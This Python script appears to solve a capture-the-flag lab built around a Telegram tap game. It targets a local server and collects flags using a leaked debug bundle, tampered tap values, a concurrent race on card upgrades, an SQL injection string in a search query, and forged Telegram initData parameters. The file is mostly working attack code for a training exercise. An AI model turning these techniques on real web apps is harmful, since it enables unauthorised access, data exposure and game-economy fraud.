148 lines
4.8 KiB
Python
148 lines
4.8 KiB
Python
#!/usr/bin/env python3
|
|
import argparse
|
|
import concurrent.futures
|
|
import http.cookiejar
|
|
import json
|
|
import random
|
|
import re
|
|
import string
|
|
import sys
|
|
import urllib.error
|
|
import urllib.parse
|
|
import urllib.request
|
|
|
|
|
|
FLAG_RE = re.compile(r"caplag\{[^{}]+\}")
|
|
|
|
|
|
class Client:
|
|
def __init__(self, base_url: str):
|
|
self.base_url = base_url.rstrip("/")
|
|
self.cookies = http.cookiejar.CookieJar()
|
|
self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookies))
|
|
|
|
def cookie_header(self) -> str:
|
|
return "; ".join(f"{cookie.name}={cookie.value}" for cookie in self.cookies)
|
|
|
|
def request(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> tuple[int, bytes]:
|
|
data = None
|
|
headers = {}
|
|
if body is not None:
|
|
data = json.dumps(body).encode()
|
|
headers["Content-Type"] = "application/json"
|
|
if cookie:
|
|
headers["Cookie"] = cookie
|
|
req = urllib.request.Request(self.base_url + path, data=data, headers=headers, method=method)
|
|
try:
|
|
with self.opener.open(req, timeout=8) as response:
|
|
return response.status, response.read()
|
|
except urllib.error.HTTPError as exc:
|
|
return exc.code, exc.read()
|
|
|
|
def json(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> dict:
|
|
status, raw = self.request(method, path, body, cookie)
|
|
if status >= 400:
|
|
raise RuntimeError(f"{method} {path} returned HTTP {status}: {raw[:200]!r}")
|
|
return json.loads(raw.decode())
|
|
|
|
|
|
def random_name() -> str:
|
|
suffix = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
|
|
return f"ctf-solver-{suffix}"
|
|
|
|
|
|
def authenticate(client: Client) -> str:
|
|
client.json("POST", "/api/auth/telegram", {"devName": random_name()})
|
|
cookie = client.cookie_header()
|
|
if not cookie:
|
|
raise RuntimeError("auth did not set a session cookie")
|
|
return cookie
|
|
|
|
|
|
def flag_from_text(text: str) -> str:
|
|
match = FLAG_RE.search(text)
|
|
if not match:
|
|
raise RuntimeError(f"flag not found in response: {text[:300]!r}")
|
|
return match.group(0)
|
|
|
|
|
|
def solve_debug_bundle(client: Client) -> str:
|
|
status, raw = client.request("GET", "/api/ctf/debug-bundle.js")
|
|
if status != 200:
|
|
raise RuntimeError(f"debug bundle returned HTTP {status}")
|
|
return flag_from_text(raw.decode())
|
|
|
|
|
|
def solve_tap_claim(client: Client) -> str:
|
|
data = client.json(
|
|
"POST",
|
|
"/api/ctf/tap/claim",
|
|
{"taps": 10, "tapPower": 100000, "comboMultiplier": 1},
|
|
)
|
|
if "flag" not in data:
|
|
raise RuntimeError(f"tap claim did not return flag: {data}")
|
|
return data["flag"]
|
|
|
|
|
|
def solve_race_upgrade(base_url: str, attempts: int = 4) -> str:
|
|
for _ in range(attempts):
|
|
client = Client(base_url)
|
|
cookie = authenticate(client)
|
|
|
|
def upgrade_once() -> dict:
|
|
worker = Client(base_url)
|
|
return worker.json("POST", "/api/ctf/cards/upgrade", {}, cookie=cookie)
|
|
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=8) as pool:
|
|
futures = [pool.submit(upgrade_once) for _ in range(8)]
|
|
for future in concurrent.futures.as_completed(futures):
|
|
try:
|
|
data = future.result()
|
|
except Exception:
|
|
continue
|
|
if data.get("flag"):
|
|
return data["flag"]
|
|
raise RuntimeError("race upgrade did not reach target level")
|
|
|
|
|
|
def solve_contract_search(client: Client) -> str:
|
|
query = urllib.parse.urlencode({"q": "' OR is_hidden = true --"})
|
|
data = client.json("GET", f"/api/ctf/contracts/search?{query}")
|
|
for contract in data.get("contracts", []):
|
|
if contract.get("flag"):
|
|
return contract["flag"]
|
|
raise RuntimeError(f"hidden contract flag not found: {data}")
|
|
|
|
|
|
def solve_telegram_proof(client: Client) -> str:
|
|
template = client.json("GET", "/api/ctf/telegram-proof/template")["initData"]
|
|
forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag"
|
|
data = client.json("POST", "/api/ctf/telegram-proof", {"initData": forged})
|
|
if not data.get("success") or not data.get("flag"):
|
|
raise RuntimeError(f"telegram proof was not accepted: {data}")
|
|
return data["flag"]
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("url", nargs="?", default="http://127.0.0.1:18080")
|
|
args = parser.parse_args()
|
|
|
|
client = Client(args.url)
|
|
authenticate(client)
|
|
|
|
flags = [
|
|
solve_debug_bundle(client),
|
|
solve_tap_claim(client),
|
|
solve_race_upgrade(args.url),
|
|
solve_contract_search(client),
|
|
solve_telegram_proof(client),
|
|
]
|
|
for flag in flags:
|
|
print(flag)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|